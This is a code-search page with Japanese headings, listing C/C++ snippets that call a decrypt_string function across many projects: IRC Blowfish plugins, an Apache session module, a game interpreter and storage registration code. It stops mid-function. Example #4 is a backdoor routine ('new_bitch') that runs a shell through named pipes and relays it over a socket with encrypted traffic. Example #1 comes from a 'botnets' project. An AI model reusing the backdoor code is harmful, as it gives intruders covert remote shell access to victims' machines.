コード例 #1
0
ファイル: BlowFish.cpp プロジェクト: anticlimactech/botnets
void BlowDeCrypt( char key[], char * data){
	if (!((key==NULL||data==NULL)||(*key==NULL || *data==NULL))){
	char *p = decrypt_string(key,data);
	wsprintf(data,"%s",p);
	delete p;
	}
}
コード例 #2
0
ファイル: FiSH.c プロジェクト: kelek-/FiSH-irssi
/*
 * Load a base64 blowfish key for contact
 * If theKey is NULL, only a test is made (= IsKeySetForContact)
 * @param contactPtr
 * @param theKey
 * @return 1 if everything ok 0 if not
 */
int getContactKey(const char *contactPtr, char *theKey)
{
	char tmpKey[KEYBUF_SIZE] = "";
	int bRet = FALSE;

	getIniValue(contactPtr, "key", "", tmpKey, KEYBUF_SIZE, iniPath);

	// don't process, encrypted key not found in ini
	if (strlen(tmpKey) < 16)
		return FALSE;

	// encrypted key found
	if (strncmp(tmpKey, "+OK ", 4) == 0) {
		if (theKey) {
			// if it's not just a test, lets decrypt the key
			decrypt_string((char *)iniKey, tmpKey + 4, theKey,
				       strlen(tmpKey + 4));
		}

		bRet = TRUE;
	}

	ZeroMemory(tmpKey, KEYBUF_SIZE);
	return bRet;
}
コード例 #3
0
/**
 * Crypto decoding for the session.
 *
 * @param r The request pointer.
 * @param z A pointer to where the session will be written.
 */
static apr_status_t session_crypto_decode(request_rec * r,
        session_rec * z)
{

    char *encoded = NULL;
    apr_status_t res;
    const apr_crypto_t *f = NULL;
    session_crypto_dir_conf *dconf = ap_get_module_config(r->per_dir_config,
            &session_crypto_module);

    if ((dconf->passphrases_set) && z->encoded && *z->encoded) {
        apr_pool_userdata_get((void **)&f, CRYPTO_KEY,
                r->server->process->pconf);
        res = decrypt_string(r, f, dconf, z->encoded, &encoded);
        if (res != APR_SUCCESS) {
            ap_log_rerror(APLOG_MARK, APLOG_ERR, res, r, APLOGNO(01842)
                    "decrypt session failed, wrong passphrase?");
            return res;
        }
        z->encoded = encoded;
    }

    return OK;

}
コード例 #4
0
int
new_bitch(int sock, char *sargv[])
{
	int pipe0, pipe1;
	pid_t pid;
	char enc[769], *dec;
	char buf1[1024], buf2[512], ppath0[256], ppath1[256];
	fd_set fdset;

	FD_ZERO(&fdset);	
	memset(ppath0, 0x0, sizeof(ppath0));
	memset(ppath1, 0x0, sizeof(ppath1));
	strcpy(ppath0, PIPE0);
	sprintf(ppath0+strlen(PIPE0), "%d", getpid());
	strcpy(ppath1, PIPE1);
	sprintf(ppath1+strlen(PIPE1), "%d", getpid());
	if ((mkfifo(ppath0, 0600) || mkfifo(ppath1, 0600)) != 0)
		perror("mknod");

	if ((pid = fork()) > 0) {
		/* MASTER PROCESS */
		pipe0 = open(ppath0, O_WRONLY);
		pipe1 = open(ppath1, O_RDONLY);
		while (1) {
			FD_SET(sock, &fdset);
			FD_SET(pipe1, &fdset);			
			select(max(sock,pipe1) + 1, &fdset, NULL, NULL, NULL);
			if (FD_ISSET(sock, &fdset)) {
				memset(buf1, 0, sizeof(buf1));
				if (read(sock, buf1, sizeof(buf1)) == 0) break; /* nasty trick to check if connection ended */
				dec = decrypt_string(PASSWD, buf1);
				write(pipe0, dec, strlen(dec));
			}
			if (FD_ISSET(pipe1, &fdset)) {
				memset(buf2, 0, sizeof(buf2));
				memset(enc, 0, sizeof(enc));
				if (read(pipe1, buf2, sizeof(buf2)-1) == 0) break;
				encrypt_string(PASSWD, buf2, enc);
				write(sock, enc, strlen(enc));
			}
		}
		shutdown(sock, 2);
		kill(pid, SIGKILL);
		close(pipe0); close(pipe1);
		unlink(ppath0); unlink(ppath1);
		return(0);
	}
	else if (pid == 0) {
		/* SHELL PROCESS */
		close(sock);
		pipe0 = open(ppath0, O_RDONLY);
		pipe1 = open(ppath1, O_WRONLY);
		dup2(pipe0, 0);
		dup2(pipe1, 1);
		dup2(pipe1, 2);
		execv(SHELL, sargv);
	}
	return(-1);
}
コード例 #5
0
ファイル: wire.c プロジェクト: Protospace/protobot
static void wire_display(int idx, char *key, char *from, char *message)
{
  char *enctmp;

  enctmp = decrypt_string(key, message);
  if (from[0] == '!')
    dprintf(idx, "----- > %s %s\n", &from[1], enctmp + 1);
  else
    dprintf(idx, "----- <%s> %s\n", from, enctmp);
  nfree(enctmp);
}
コード例 #6
0
ファイル: FiSH.c プロジェクト: bcome/FiSH-irssi
/* TODO: REWRITE THIS PLZ */
int recrypt_ini_file(const char *iniPath, const char *iniPath_new,
		     const char *old_iniKey)
{
	FILE *h_ini = NULL;
	FILE *h_ini_new = NULL;
	char *fptr, *ok_ptr, line_buf[1000];
	char bfKey[512];
	int re_enc = 0;

	h_ini_new = fopen(iniPath_new, "w");
	h_ini = fopen(iniPath, "r");

	if (h_ini && h_ini_new) {
		while (!feof(h_ini)) {
			fptr = fgets(line_buf, sizeof(line_buf) - 2, h_ini);
			if (fptr) {
				ok_ptr = strstr(line_buf, "+OK ");
				if (ok_ptr) {
					re_enc = 1;
					strtok(ok_ptr + 4, " \n\r");
					decrypt_string(old_iniKey, ok_ptr + 4,
						       bfKey,
						       strlen(ok_ptr + 4));
					ZeroMemory(ok_ptr + 4,
						   strlen(ok_ptr + 4) + 1);
					encrypt_string(iniKey, bfKey,
						       ok_ptr + 4,
						       strlen(bfKey));
					strcat(line_buf, "\n");
				}
				if (fprintf(h_ini_new, "%s", line_buf) < 0) {
					fclose(h_ini);
					fclose(h_ini_new);
					remove(iniPath_new);
					ZeroMemory(bfKey, sizeof(bfKey));
					ZeroMemory(line_buf, sizeof(line_buf));

					return -1;
				}
			}
		}

		fclose(h_ini);
		fclose(h_ini_new);
		remove(iniPath);
		rename(iniPath_new, iniPath);
	}

	ZeroMemory(bfKey, sizeof(bfKey));
	ZeroMemory(line_buf, sizeof(line_buf));
	return re_enc;
}
コード例 #7
0
ファイル: ADBColumn.cpp プロジェクト: gottafixthat/tacc
void ADBColumn::decryptData(void)
{
    #ifdef USEDES
    ADBDebugMsg(7, "ADBColumn: Decrypting source string '%s'", intData);
    char    *dst = (char *) calloc(strlen(intData)+128, sizeof(char));
    decrypt_string((unsigned char *)intData, (unsigned char *) dst, intUseDefKey);
    free (intData);
    intData = dst;
    ADBDebugMsg(7, "ADBColumn: Decrypted string '%s'", intData);
    #else
    ADBLogMsg(LOG_ERR, "ADBColumn::decryptData() - This version of the ADB libraries does not support encryption.");
    #endif
}
コード例 #8
0
int main(void) {
    //private_box_fs_carlis::private_box_fs my_box;
    std::string cypher_text;
    std::string message;
    std::string ret_message;
    std::cout << "Enter a string: ";
    std::getline(std::cin, message);
    cypher_text = encrypt_string(message.c_str(), "password123");
    std::cout << "CypherText: " << &cypher_text << std::endl;
    ret_message = decrypt_string(cypher_text.c_str(), "password123");
    std::cout << "DecodedMessage: " << ret_message << std::endl;
    //my_box.open();
    //my_box.close();
    return 0;
}
コード例 #9
0
int Exec(const TCHAR *Package, DWORD dwPackParam, DWORD dwCmdLine, const TCHAR *output, const TCHAR *args)
{
	wstring _pack((wchar_t*)Package);
	wstring packName = GetPackageName(_pack);

	setlocale(0, "Japanese");
	FILE* f = _wfopen(Package, L"rb");
	if (f)
	{
		fseek(f, 0, SEEK_END);
		size_t flength = ftell(f);
		fseek(f, 0, SEEK_SET);
		buf = (unsigned char*)malloc(flength);
		fread(buf, flength, 1, f);
		fclose(f);

		//FILE* txt = _wfopen(L"test.txt",L"wb");
		wchar_t new_name[1024];
		wsprintf(new_name, L"%s.txt", packName.c_str());
		FILE* txt = _wfopen(new_name, L"wb");

		SCENEHEADER *sce_header = (SCENEHEADER*)buf;
		PFILE_INFO string_index = (PFILE_INFO)&buf[sce_header->string_index_pair.offset];
		wchar_t* string_data = (wchar_t*)&buf[sce_header->string_data_pair.offset];
		fwrite("\xFF\xFE", 2, 1, txt);
		for (DWORD x = 0; x<sce_header->string_index_pair.count; x++)
		{
			PFILE_INFO info = &string_index[x];
			wchar_t* info_str = &string_data[info->offset];
			wchar_t* new_str = new wchar_t[info->length * 2];
			memset(new_str, 0, sizeof(wchar_t)* info->length * 2);

			decrypt_string(info_str, new_str, info->length, x);
			for (int i = 0; i<info->length; i++)
			{
				fwprintf(txt, L"%c", new_str[i]);
			}
			fwprintf(txt, L"\r\n");
			delete new_str;
		}
	}
	return 0;
}
コード例 #10
0
ファイル: FiSH.c プロジェクト: hugopeixoto/FiSH-irssi
/*
 * Load a base64 blowfish key for contact
 * If theKey is NULL, only a test is made (= IsKeySetForContact)
 * @param contactPtr
 * @param theKey
 * @return 1 if everything ok 0 if not
 */
BOOL LoadKeyForContact(const char *contactPtr, char *theKey)
{
    char tmpKey[KEYBUF_SIZE]="";
    BOOL bRet=FALSE;

    GetPrivateProfileString(contactPtr, "key", "", tmpKey, KEYBUF_SIZE, iniPath);
    if (strlen(tmpKey) < 16) return FALSE;		// don't process, encrypted key not found in ini

    if (strncmp(tmpKey, "+OK ", 4)==0) {
        // encrypted key found
        if (theKey) {
            // if it's not just a test, lets decrypt the key
            decrypt_string((char *)iniKey, tmpKey+4, theKey, strlen(tmpKey+4));
        }

        bRet=TRUE;
    }

    ZeroMemory(tmpKey, KEYBUF_SIZE);
    return bRet;
}
コード例 #11
0
void decrypt_string( STRING *sstr, STRING *estr )
{
	decrypt_string(sstr, estr, __SHIFT);
}
コード例 #12
0
ファイル: FiSH.c プロジェクト: kelek-/FiSH-irssi
int recrypt_ini_file(const char *iniPath, const char *iniPath_new,
			const char *old_iniKey)
{
	char *encrypted_key;
	GKeyFile *config = g_key_file_new();
	GError *error = NULL;
	gsize groups_count = 0;
	int i;
	char bfKey[512];
	char newbfKey[74];
	char plusOk[78];

	int re_enc = 0;

	g_key_file_load_from_file(config, iniPath, G_KEY_FILE_NONE, &error);
	if (error != NULL) {
		g_error_free(error);
		error = NULL;
		g_key_file_free(config);
		return -1;
	}

	gchar **groups = g_key_file_get_groups(config, &groups_count);

	for (i = 0; i < groups_count; i++) {

		gsize keys_count = 0;
		gchar **keys = g_key_file_get_keys(config, groups[i], &keys_count, &error);

		if (error != NULL) {
			g_error_free(error);
			error = NULL;
			continue;
		}

		int j;

		for (j = 0; j < keys_count; j++) {
			gchar *value = g_key_file_get_value(config, groups[i], keys[j], &error);

			if (error != NULL) {
				g_error_free(error);
				error = NULL;
				continue;
			}

			if (strncmp(value, "+OK ", 4) == 0) {
				re_enc = 1;

				decrypt_string(old_iniKey, value + 4, bfKey, strlen(value + 4));
				encrypt_string(iniKey, bfKey, newbfKey, strlen(bfKey));

				snprintf(plusOk, 78, "+OK %s", newbfKey);

				setIniValue(groups[i], keys[j], plusOk, iniPath_new);

				ZeroMemory(plusOk, sizeof(plusOk));
				ZeroMemory(newbfKey, sizeof(newbfKey));
			}

			g_free(value);
		}

		g_strfreev(keys);
	}

	g_strfreev(groups);
	g_key_file_free(config);

	remove(iniPath);
	rename(iniPath_new, iniPath);

	return re_enc;
}
コード例 #13
0
ファイル: state_io.c プロジェクト: saucjedi/nagi
u8 *cmd_restore_game(u8 *c)
{
	u8 *code_ret;	// result to pass at the end
	u8 newline_orig;	// d0d orig
	FILE *rest_stream;
	//u8 msg[200];
	u8 *msg;
	
	clock_state = 1;
	code_ret = c;
	newline_orig = msgstate.newline_char;
	msgstate.newline_char = '@';
	
	if (save_dir == 0)
		save_dir = vstring_new(0, 200);
	if (save_filename == 0)
		save_filename = vstring_new(0, 250);
	
	if (state_get_info('r') != 0)
	{
		if (strlen(save_filename->data) > strlen(save_dir->data))
			msg = alloca(200 + strlen(save_filename->data));
		else
			msg = alloca(200 + strlen(save_dir->data));
		if (state_name_auto[0] == 0)
		{
			sprintf(msg, "About to restore the game\ndescribed as:\n\n%s\n\nfrom file:\n %s\n\n%s",
				save_description, save_filename->data, "Press ENTER to continue.\nPress ESC to cancel.");
			message_box_draw(msg, 0, 0x23, 0);
			if ( user_bolean_poll() == 0)
				goto rest_end;
		}
		dir_preset_change(DIR_PRESET_GAME);
		rest_stream = fopen(save_filename->data, "rb");
		if ( rest_stream == 0)
		{
			sprintf(msg, "Can't open file:\n %s", save_filename->data);
			message_box(msg);
		}
		else
		{
			fseek(rest_stream, 0x1F, SEEK_SET);
			if (state_read(rest_stream, &state) == 0)
				goto loc2630;
			if (state_read(rest_stream, objtable) == 0)
				goto loc2630;
			if (state_read(rest_stream, inv_obj_table) == 0)
				goto loc2630;
			if (state_read(rest_stream, inv_obj_string) == 0)
				goto loc2630;
			if (state_read(rest_stream, script_head) == 0)
				goto loc2630;
			if (state_read(rest_stream, scan_start_list) != 0)
				goto loc2647;
		loc2630:
			fclose(rest_stream);
			message_box("Error in restoring game.\nPress ENTER to quit.");
			agi_exit();  // can't recover.. we possibly just overwrote some of the
					// structures with stuff
		loc2647:
			fclose(rest_stream);
			decrypt_string(inv_obj_string, inv_obj_string+inv_obj_string_size);
			state.var[V20_COMPUTER] = computer_type;
			state.var[V26_MONITORTYPE] = display_type;
			state.var[V08_FREEMEM] = 10;
			
			if (computer_type == 0)
				state.var[V22_SNDTYPE] = 1;
			else
			{
				state.var[V22_SNDTYPE] = 3;
				flag_set(F11_NEWLOGIC0);
			}
			state_reload();
			control_state_clear();
			flag_set(F12_RESTORE);
			volumes_close();
			code_ret = 0;
			menu_enable_all();
		}
	}
rest_end:
	cmd_close_window(0);
	msgstate.newline_char = newline_orig;
	clock_state = 0;
	return code_ret;
}
コード例 #14
0
ファイル: FiSH.c プロジェクト: kelek-/FiSH-irssi
/*
 * Decrypt a base64 cipher text (using key for target)
 */
int FiSH_decrypt(const SERVER_REC * serverRec, char *msg_ptr,
		 const char *target, GString* decrypted_msg)
{
	char contactName[CONTACT_SIZE] = "";
	char theKey[KEYBUF_SIZE] = "";
	char bf_dest[1000] = "";
	char myMark[20] = "";
	char *recoded;
	int msg_len, i, mark_broken_block = 0, action_found = 0, markPos;

	if (IsNULLorEmpty(msg_ptr) || decrypted_msg == NULL || IsNULLorEmpty(target))
		return 0;

	if (settings_get_bool("process_incoming") == 0)
		return 0;

	if (strncmp(msg_ptr, "+OK ", 4) == 0) 
		msg_ptr += 4;
	// TODO: Maybe remove this?
	else if (strncmp(msg_ptr, "mcps ", 5) == 0)
		msg_ptr += 5;
	else
		return 0;	// don't process, blowcrypt-prefix not found

	// Verify base64 string
	msg_len = strlen(msg_ptr);
	if ((strspn(msg_ptr, B64) != (size_t) msg_len) || (msg_len < 12))
		return 0;

	if (getIniSectionForContact(serverRec, target, contactName) == FALSE)
		return 0;

	if (getContactKey(contactName, theKey) == FALSE)
		return 0;

	// usually a received message does not exceed 512 chars, but we want to prevent evil buffer overflow
	if (msg_len >= (int)(sizeof(bf_dest) * 1.5))
		msg_ptr[(int)(sizeof(bf_dest) * 1.5) - 20] = '\0';

	// block-align blowcrypt strings if truncated by IRC server (each block is 12 chars long)
	// such a truncated block is destroyed and not needed anymore
	if (msg_len != (msg_len / 12) * 12) {
		msg_len = (msg_len / 12) * 12;
		msg_ptr[msg_len] = '\0';
		strncpy(myMark, settings_get_str("mark_broken_block"),
			sizeof(myMark));
		if (*myMark == '\0' || isNoChar(*myMark))
			mark_broken_block = 0;
		else
			mark_broken_block = 1;
	}

	decrypt_string(theKey, msg_ptr, bf_dest, msg_len);
	ZeroMemory(theKey, KEYBUF_SIZE);

	if (*bf_dest == '\0')
		return 0;	// don't process, decrypted msg is bad

	// recode message again, last time it was the encrypted message...
	if (settings_get_bool("recode") && serverRec != NULL) {
		recoded = recode_in(serverRec, bf_dest, target);
		if (recoded) {
			strncpy(bf_dest, recoded, sizeof(bf_dest));
			ZeroMemory(recoded, strlen(recoded));
			g_free(recoded);
		}
	}

	i = 0;
	while (bf_dest[i] != 0x0A && bf_dest[i] != 0x0D && bf_dest[i] != '\0')
		i++;
	bf_dest[i] = '\0';	// in case of wrong key, decrypted message might have control characters -> cut message

	if (strncmp(bf_dest, "\001ACTION ", 8) == 0) {
		// ACTION message found
		if (bf_dest[i - 1] == '\001')
			bf_dest[i - 1] = '\0';	// remove 0x01 control character
		action_found = 1;
	}
	// append broken-block-mark?
	if (mark_broken_block)
		strcat(bf_dest, myMark);

	// append crypt-mark?
	strncpy(myMark, settings_get_str("mark_encrypted"), sizeof(myMark));
	if (*myMark != '\0') {
		markPos = settings_get_int("mark_position");
		if (markPos == 0 || action_found)
			strcat(bf_dest, myMark);	// append mark at the end (default for ACTION messages)
		else {		// prefix mark
			i = strlen(myMark);
			memmove(bf_dest + i, bf_dest, strlen(bf_dest) + 1);
			strncpy(bf_dest, myMark, i);
		}
	}

	g_string_assign(decrypted_msg, bf_dest);
	ZeroMemory(bf_dest, sizeof(bf_dest));

	return 1;
}
コード例 #15
0
ファイル: FiSH.c プロジェクト: hugopeixoto/FiSH-irssi
/*
 * Decrypt a base64 cipher text (using key for target)
 */
int FiSH_decrypt(const SERVER_REC *server, char *msg_ptr, char *msg_bak, const char *target)
{
    char contactName[CONTACT_SIZE]="", theKey[KEYBUF_SIZE]="", bf_dest[1000]="";
    char myMark[20]="", markPos[20]="", *recoded;
    int msg_len, i, mark_broken_block=0, action_found=0;


    if (IsNULLorEmpty(msg_ptr) || msg_bak==NULL || IsNULLorEmpty(target)) return 0;

    if (GetBlowIniSwitch("FiSH", "process_incoming", "1") == 0) return 0;

    if (strncmp(msg_ptr, "+OK ", 4)==0) msg_ptr += 4;
    else if (strncmp(msg_ptr, "mcps ", 5)==0) msg_ptr += 5;
    else return 0;		// don't process, blowcrypt-prefix not found

    // Verify base64 string
    msg_len=strlen(msg_ptr);
    if ((strspn(msg_ptr, B64) != (size_t)msg_len) || (msg_len < 12)) return 0;

    if (GetIniSectionForContact(server, target, contactName)==FALSE) return 0;

    if (LoadKeyForContact(contactName, theKey)==FALSE) return 0;

    // usually a received message does not exceed 512 chars, but we want to prevent evil buffer overflow
    if (msg_len >= (int)(sizeof(bf_dest)*1.5)) msg_ptr[(int)(sizeof(bf_dest)*1.5)-20]='\0';

    // block-align blowcrypt strings if truncated by IRC server (each block is 12 chars long)
    // such a truncated block is destroyed and not needed anymore
    if (msg_len != (msg_len/12)*12) {
        msg_len=(msg_len/12)*12;
        msg_ptr[msg_len]='\0';
        GetPrivateProfileString("FiSH", "mark_broken_block", " \002&\002", myMark, sizeof(myMark), iniPath);
        if (*myMark=='\0' || isNoChar(*myMark)) mark_broken_block=0;
        else mark_broken_block=1;
    }

    decrypt_string(theKey, msg_ptr, bf_dest, msg_len);
    ZeroMemory(theKey, KEYBUF_SIZE);

    if (*bf_dest=='\0') return 0;	// don't process, decrypted msg is bad

#ifdef FiSH_USE_IRSSI_RECODE
    // recode message again, last time it was the encrypted message...
    if (settings_get_bool("recode") && server!=NULL) {
        recoded = recode_in(server, bf_dest, target);
        if (recoded) {
            strncpy(bf_dest, recoded, sizeof(bf_dest));
            ZeroMemory(recoded, strlen(recoded));
            g_free(recoded);
        }
    }
#endif

    i=0;
    while (bf_dest[i] != 0x0A && bf_dest[i] != 0x0D && bf_dest[i] != '\0') i++;
    bf_dest[i]='\0';	// in case of wrong key, decrypted message might have control characters -> cut message

    if (strncmp(bf_dest, "\001ACTION ", 8)==0) {
        // ACTION message found
        if (bf_dest[i-1] == '\001') bf_dest[i-1] = '\0';	// remove 0x01 control character
        action_found = 1;
    }

    // append broken-block-mark?
    if (mark_broken_block) strcat(bf_dest, myMark);

    // append crypt-mark?
    if (GetBlowIniSwitch(contactName, "mark_encrypted", "1") != 0) {
        GetPrivateProfileString("FiSH", "mark_encrypted", "", myMark, sizeof(myMark), iniPath);	// global setting
        if (*myMark != '\0') {
            GetPrivateProfileString("FiSH", "mark_position", "0", markPos, sizeof(markPos), iniPath);
            if (*markPos=='0' || action_found) strcat(bf_dest, myMark);		// append mark at the end (default for ACTION messages)
            else {	// prefix mark
                i=strlen(myMark);
                memmove(bf_dest+i, bf_dest, strlen(bf_dest)+1);
                strncpy(bf_dest, myMark, i);
            }
        }
    }

    strcpy(msg_bak, bf_dest);	// copy decrypted message back (overwriting the base64 cipher text)
    ZeroMemory(bf_dest, sizeof(bf_dest));

    return 1;
}
コード例 #16
0
ファイル: FiSH.c プロジェクト: hugopeixoto/FiSH-irssi
void cmd_setinipw(const char *iniPW, SERVER_REC *server, WI_ITEM_REC *item)
{
    int i=0, pw_len, re_enc=0;
    char B64digest[50], SHA256digest[35];
    char bfKey[512], new_iniKey[KEYBUF_SIZE], old_iniKey[KEYBUF_SIZE], *fptr, *ok_ptr, line_buf[1000], iniPath_new[300];
    FILE *h_ini, *h_ini_new;


    if (!unsetiniFlag) {
        pw_len=strlen(iniPW);
        if (pw_len < 1 || (size_t)pw_len > sizeof(new_iniKey)) {
            printtext(server, item!=NULL ? window_item_get_target(item) : NULL, MSGLEVEL_CRAP,
                      "\002FiSH:\002 No parameters. Usage: /setinipw <sekure_blow.ini_password>");
            return;
        }

        if (strfcpy(new_iniKey, (char *)iniPW, sizeof(new_iniKey))==NULL) return;
        ZeroMemory(iniPW, pw_len);
        pw_len=strlen(new_iniKey);

        if (pw_len < 8) {
            printtext(server, item!=NULL ? window_item_get_target(item) : NULL, MSGLEVEL_CRAP,
                      "\002FiSH:\002 Password too short, at least 8 characters needed! Usage: /setinipw <sekure_blow.ini_password>");
            return;
        }

        SHA256_memory(new_iniKey, pw_len, SHA256digest);
        ZeroMemory(new_iniKey, sizeof(new_iniKey));
        for (i=0; i<40872; i++) SHA256_memory(SHA256digest, 32, SHA256digest);
        htob64(SHA256digest, B64digest, 32);
    }

    strcpy(old_iniKey, iniKey);

    if (unsetiniFlag) strcpy(iniKey, default_iniKey);	// unsetinipw -> use default blow.ini key
    else strcpy(iniKey, B64digest);	// this is used for encrypting blow.ini

    for (i=0; i<30752; i++) SHA256_memory(SHA256digest, 32, SHA256digest);
    htob64(SHA256digest, B64digest, 32);	// this is used to verify the entered password
    ZeroMemory(SHA256digest, sizeof(SHA256digest));


    // re-encrypt blow.ini with new password
    strcpy(iniPath_new, iniPath);
    strcat(iniPath_new, "_new");
    h_ini_new=fopen(iniPath_new, "w");
    h_ini=fopen(iniPath,"r");
    if (h_ini && h_ini_new) {
        while (!feof(h_ini)) {
            fptr=fgets(line_buf, sizeof(line_buf)-2, h_ini);
            if (fptr) {
                ok_ptr=strstr(line_buf, "+OK ");
                if (ok_ptr) {
                    re_enc=1;
                    strtok(ok_ptr+4, " \n\r");
                    decrypt_string(old_iniKey, ok_ptr+4, bfKey, strlen(ok_ptr+4));
                    ZeroMemory(ok_ptr+4, strlen(ok_ptr+4)+1);
                    encrypt_string(iniKey, bfKey, ok_ptr+4, strlen(bfKey));
                    strcat(line_buf, "\n");
                }
                if (fprintf(h_ini_new, "%s", line_buf) < 0) {
                    ZeroMemory(B64digest, sizeof(B64digest));
                    ZeroMemory(bfKey, sizeof(bfKey));
                    ZeroMemory(line_buf, sizeof(line_buf));
                    ZeroMemory(old_iniKey, sizeof(old_iniKey));
                    fclose(h_ini);
                    fclose(h_ini_new);
                    remove(iniPath_new);

                    printtext(server, item!=NULL ? window_item_get_target(item) : NULL,	MSGLEVEL_CRAP,
                              "\002FiSH ERROR:\002 Unable to write new blow.ini, probably out of disc space.");

                    return;
                }
            }
        }

        ZeroMemory(bfKey, sizeof(bfKey));
        ZeroMemory(line_buf, sizeof(line_buf));
        ZeroMemory(old_iniKey, sizeof(old_iniKey));
        fclose(h_ini);
        fclose(h_ini_new);
        remove(iniPath);
        rename(iniPath_new, iniPath);
    } else return;

    if (WritePrivateProfileString("FiSH", "ini_password_Hash", B64digest, iniPath) == -1) {
        ZeroMemory(B64digest, sizeof(B64digest));
        printtext(server, item!=NULL ? window_item_get_target(item) : NULL,	MSGLEVEL_CRAP,
                  "\002FiSH ERROR:\002 Unable to write to blow.ini, probably out of space or permission denied.");
        return;
    }

    ZeroMemory(B64digest, sizeof(B64digest));

    if (re_enc) printtext(server, item!=NULL ? window_item_get_target(item) : NULL,
                              MSGLEVEL_CRAP, "\002FiSH: Re-encrypted blow.ini\002 with new password.");

    if (!unsetiniFlag) printtext(server, item!=NULL ? window_item_get_target(item) : NULL,
                                     MSGLEVEL_CRAP, "\002FiSH:\002 blow.ini password hash saved.");
}
コード例 #17
0
ファイル: csn.c プロジェクト: BackupTheBerlios/samqfs
/*
 * register SAM/QFS on the host being called with CNS.
 * The key value string must contain:
 * sun_login
 * sun_password (passed as arg cl_pwd)
 * name
 * email
 * asset_prefix = "sam-qfs"
 *
 * The key value string may contain:
 * prxy_enabled
 * prxy_port
 * prxy_host
 * prxy_auth
 * prxy_user
 * prxy_passwd(passed as arg proxy_pwd)
 *
 * The cl_pwd byte array must contain the client password for
 * the sun account encrypted with the public key returned from
 * cns_get_public_key.
 *
 * If proxy_auth is set to true, the proxy_pwd must be
 * the encrypted proxy password, using the same key as above.
 */
int
cns_register(
ctx_t *ctx,	/* ARGSUSED */
char *kv_string,
crypt_str_t *cl_pwd,
crypt_str_t *proxy_pwd,
char *clnt_pub_key_hex) {

	char		*cl_clear = NULL;
	unsigned char	*secret = NULL;
	int		secret_len;
	cl_reg_cfg_t	cl;
	sf_prod_info_t	*sf;
	char		asset_dir[MAXPATHLEN];
	int retval;

	Trace(TR_MISC, "csn registration entry");

	/* check the mandatory parameters */
	if (ISNULL(kv_string, cl_pwd, clnt_pub_key_hex)) {
		Trace(TR_ERR, "cns registration failed %d %s", samerrno,
		    samerrmsg);
		return (-1);
	}

	memset(&cl, 0, sizeof (cl_reg_cfg_t));
	if (cl_pwd->str == NULL) {
		samerrno = SE_NULL_PARAMETER;
		snprintf(samerrmsg, MAX_MSG_LEN, GetCustMsg(samerrno),
		    "password");
		Trace(TR_ERR, "cns registration failed %d %s", samerrno,
		    samerrmsg);
		goto err;
	}


	if (parse_kv(kv_string, cl_reg_cfg_tokens, &cl) != 0) {
		Trace(TR_ERR, "cns registration failed %d %s", samerrno,
			samerrmsg);
		goto err;
	}

	/*
	 * If there was a client registration id free it. Or it will leak.
	 * Note that reregistration is allowed in order to change the keys
	 * that are used for signing the telemetry data.
	 */
	if (cl.reg_id) {
		free(cl.reg_id);
		cl.reg_id = NULL;
	}

	/* Complete the last phase of key agreement */
	secret_len = get_secret(clnt_pub_key_hex, &secret);
	if (secret_len <= 0) {
		set_registration_error(-1);
		Trace(TR_ERR, "cns registration failed:getsecret");
		goto err;
	}

	/* get the password clear text */
	if (decrypt_string(&cl_clear, secret, cl_pwd->str,
	    cl_pwd->str_len) != 0) {
		set_registration_error(-1);
		Trace(TR_ERR, "cns reg failed:bad clear cl pass");
		goto err;
	}

	/* add the proxy password to the cl struct */
	if (proxy_pwd != NULL) {
		/*
		 * proxy password should be populated if it is
		 * present even if proxy authentication is not enabled.
		 * This behavior is really more forward looking for
		 * when telemetry is enabled.
		 */
		if (decrypt_string(&(cl.prxy.passwd), secret, proxy_pwd->str,
		    proxy_pwd->str_len) != 0) {
			set_registration_error(-1);
			Trace(TR_ERR, "cns reg failed:bad clear prxy pass");
			goto err;
		}
	}

	/* check the rest of the parameters */
	if (check_cl_reg_cfg(&cl, B_TRUE) != 0) {
		setsamerr(SE_INVALID_REG_PARAMS);
		Trace(TR_ERR, "cns registration failed %d %s", samerrno,
			samerrmsg);
		goto err;
	}

	/* create the data directory for this asset */
	if (cl.asset_prefix == NULL) {
		set_registration_error(-1);
		Trace(TR_ERR, "cns registration failed: %d %s",
		    samerrno, samerrmsg);
		goto err;
	}
	snprintf(asset_dir, sizeof (upath_t), CNS_ASSETDIR_SPEC,
	    cl.asset_prefix);

	if (create_dir(ctx, asset_dir) != 0) {
		Trace(TR_ERR, "cns registration failed: %d %s",
		    samerrno, samerrmsg);
		goto err;
	}

	/*
	 * generate the public and private keys for this client-asset pair
	 */
	if ((retval = regstr_generate_public_private_key(cl.asset_prefix))
	    != 0) {
		set_registration_error(retval);
		Trace(TR_ERR, "cns registration failed: %d %s",
		    samerrno, samerrmsg);
		goto err;
	}

	strlcat(asset_dir, CNS_CLIENT_CONF, sizeof (upath_t));

	if (get_samfs_type(ctx) == SAMQFS) {
		sf = &samqfs_swordfish_data;
	} else {
		sf = &qfs_swordfish_data;
	}

	/*
	 * This could save the client data now so that it can be
	 * fetched even if the registration fails. The user would still
	 * need to enter the appropriate passwords but nothing else would
	 * be required. The reason it is done later is that the reg_id needs
	 * to be saved and is not yet available.
	 */
	if ((retval = regstr_postclient_regis_data(&cl,
		(char *)cl_clear)) != 0) {

		set_registration_error(retval);
		Trace(TR_ERR, "cns registration failed: %d %s",
		    samerrno, samerrmsg);
		goto err;
	}

	/*
	 * Only post the product registration once. The reason to
	 * post the client registration more than once is that is how
	 * the key pair gets changed
	 */
	if (!is_registered(&cl)) {
		char *addn_info;

		/*
		 * If we can get additional version information about the
		 * packages include it but ignore errors.
		 */
		if (get_associated_package_info(&addn_info) == 0) {
			sf->additional_info = addn_info;
		}

		if ((retval = regstr_postproduct_regis_data(sf, &cl)) != 0) {
			set_registration_error(retval);
			Trace(TR_ERR, "cns registration failed: %d %s",
			    samerrno, samerrmsg);
			goto err;
		}
		cl.registered = B_TRUE;
		if (sf->additional_info) {
			free(sf->additional_info);
			sf->additional_info = NULL;
		}
	}
	if (save_client_conf(asset_dir, &cl) != 0) {
		Trace(TR_ERR, "cns registration failed: %d %s",
		    samerrno, samerrmsg);
		goto err;
	}


	free_sensitive_buf((char **)&secret, secret_len);
	free_sensitive_buf(&(cl_clear), strlen(cl_clear));
	if (cl.prxy.passwd) {
		free_sensitive_buf(&(cl.prxy.passwd), strlen(cl.prxy.passwd));
	}
	free_cl_reg_cfg_fields(&cl);
	Trace(TR_MISC, "cns registration succeeded");
	return (0);

err:
	if (sf->additional_info) {
		free(sf->additional_info);
		sf->additional_info = NULL;
	}
	free_sensitive_buf((char **)&secret, secret_len);
	free_sensitive_buf(&(cl_clear), strlen(cl_clear));
	if (cl.prxy.passwd) {
